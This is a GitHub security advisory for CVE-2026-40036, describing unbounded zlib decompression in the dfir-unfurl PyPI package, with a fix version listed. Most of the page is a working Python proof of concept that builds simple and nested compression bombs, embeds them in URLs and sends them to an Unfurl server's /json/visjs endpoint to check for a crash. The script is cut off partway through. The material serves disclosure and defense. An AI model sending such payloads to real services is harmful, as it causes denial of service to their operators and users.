GitHub Advisoryadvisory · PyPI

GHSA-h5qv-qjv4-pc5m Unfurl's unbounded zlib decompression allows decompression bomb DoS

HIGH Published 2026-01-29 Modified 2026-04-10 Official page ↗
Aliases
CVE-2026-40036
Ecosystem
PyPI
Packages
dfir-unfurl
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400, CWE-409
Reviewed
2026-01-29

Affected packages

• PyPI dfir-unfurl: < 20260405 → fixed in 20260405

Description

Summary The compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service. Details • `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit. • Inputs are accepted from URL components that match base64 patterns. • Highly compressible payloads can expand orders of magnitude larger than their compressed size. PoC 1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`. 2. The script creates a base64-encoded zlib payload embedded in a URL. 3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory. 4. The script includes a `--test` mode but warns it can crash the service. PoC Script ```python !/usr/bin/env python3 """ Unfurl Decompression Bomb Proof of Concept ========================================== This PoC demonstrates a Denial of Service vulnerability in Unfurl's compressed data parsing. The zlib.decompress() call has no size limits, allowing an attacker to submit small payloads that expand to gigabytes. Vulnerability Location: • parse_compressed.py:81-82: inflated_bytes = zlib.decompress(decoded) # No maxsize parameter Attack Impact: • Memory exhaustion • Service crash • Resource consumption (cloud cost attacks) Usage: python poc_decompression_bomb.py [--target URL] [--size SIZE_MB] """ import argparse import base64 import os import zlib import requests import sys import time def create_compression_bomb(target_size_mb: int = 100) -> bytes: """ Create a compression bomb - small compressed data that expands to target_size_mb. Compression ratio for zeros can be ~1000:1 or better. A 1KB compressed payload can expand to ~1MB. A 100KB payload can expand to ~100MB. """ # Create highly compressible data (all zeros) target_bytes = target_size_mb * 1024 * 1024 uncompressed = b'\x00' * target_bytes # Compress with maximum compression compressed = zlib.compress(uncompressed, 9) compression_ratio = len(uncompressed) / len(compressed) print(f"[*] Created compression bomb:") print(f" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)") print(f" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)") print(f" Compression ratio: {compression_ratio:.0f}:1") return compressed def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes: """ Create a nested compression bomb (zip bomb style). Each level multiplies the final size. Warning: This can create VERY large expansions. 3 levels with 10MB base = 10^3 = 1GB 4 levels with 10MB base = 10^4 = 10GB """ print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base") # Start with base payload data = b'\x00' * (base_size_mb * 1024 * 1024) for level in range(levels): data = zlib.compress(data, 9) print(f" Level {level + 1}: {len(data):,} bytes") theoretical_size = base_size_mb * (1000 ** levels) # Rough estimate print(f"[*] Theoretical expanded size: ~{theoretical_size} MB") return data def create_recursive_quine_bomb() -> bytes: """ Create a recursive decompression scenario. When decompressed, the output is valid zlib that can be decompressed again. This exploits any recursive decompression logic. """ # This is a simplified version - real quine bombs are more complex # The concept: output when decompressed is also valid compressed data # Create a pattern that when decompressed resembles compressed data # This is primarily theoretical for this vulnerability base = b'x\x9c' + (b'\x00' * 1000) # Fake zlib header + zeros return zlib.compress(base * 1000, 9) def encode_for_unfurl(compressed: bytes) -> str: """ Encode compressed data as base64 for URL inclusion. Unfurl's parse_compressed.py will: 1. Detect base64 pattern 2. Decode base64 3. Attempt zlib.decompress() without size limit """ return base64.b64encode(compressed).decode('ascii') def create_malicious_url(payload: str) -> str: """ Create a URL containing the bomb payload. Multiple injection points are possible. """ # As a query parameter value return f"https://example.com/page?data={payload}" def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict: """ Submit bomb to Unfurl and monitor for DoS indicators. """ api_url = f"{target_url}/json/visjs" params = {'url': payload_url} result = { 'submitted': True, 'timeout': False, 'error': None, 'response_time': 0, 'memory_exhaustion_likely': False } try: start = time.time() response = requests.get(api_url, params=params, timeout=timeout) result['response_time'] = time.time() - start result['status_code'] = response.status_code # Check for error responses indicating resource issues if response.status_code == 500: result['error'] = 'Server error - possible memory exhaustion' result['memory_exhaustion_likely'] = True elif response.status_code == 503: result['error'] = 'Service unavailable - DoS successful' result['memory_exhaustion_likely'] = True except requests.exceptions.Timeout: result['timeout'] = True result['error'] = f'Request timed out after {timeout}s - possible DoS' result['memory_exhaustion_likely'] = True except requests.exceptions.ConnectionError as e: result['error'] = f'Connection error: {e} - server may have crashed' result['memory_exhaustion_likely'] = True except Exception as e: result['error'] = str(e) return result def main(): parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC') parser.add_argument('--target', default='http://localhost:5000', help='Target Unfurl instance URL') parser.add_argument('--size', type=int, default=100, help='Target decompressed size in MB') parser.add_argument('--nested', type=int, default=0, help='Nesting levels for nested bomb (0 = simple bomb)') parser.add_argument('--test', action='store_true', help='Actually send the bomb (DANGEROUS)') parser.add_argument('--generate-only', action='store_true', help='Only generate payload, do not send') parser.add_argument('--output', help='Save payload to file') args = parser.parse_args() print(f""" ╔═══════════════════════════════════════════════════════════════╗ ║ UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT ║ ╠═══════════════════════════════════════════════════════════════╣ ║ Target: {args.target: 0: print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!") print(f" Be very careful with nested levels > 2") if args.nested > 3: print(f"[!] {args.nested} levels could produce terabytes of data!") confirm = input(" Continue? (yes/no): ") if confirm.lower() != 'yes': sys.exit(0) compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1) else: compressed = create_compression_bomb(args.size) # Encode for URL b64_payload = encode_for_unfurl(compressed) malicious_url = create_malicious_url(b64_payload) print(f"\n[*] Payload Statistics:") print(f" Compressed size: {len(compressed):,} bytes") print(f" Base64 size: {le…

Related

Alias · CVE (1)

  • CVE-2026-40036 Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause… vulnerability

Weakness · CWE (2)

  • CWE-400 Uncontrolled Resource Consumption weakness
  • CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) weakness

References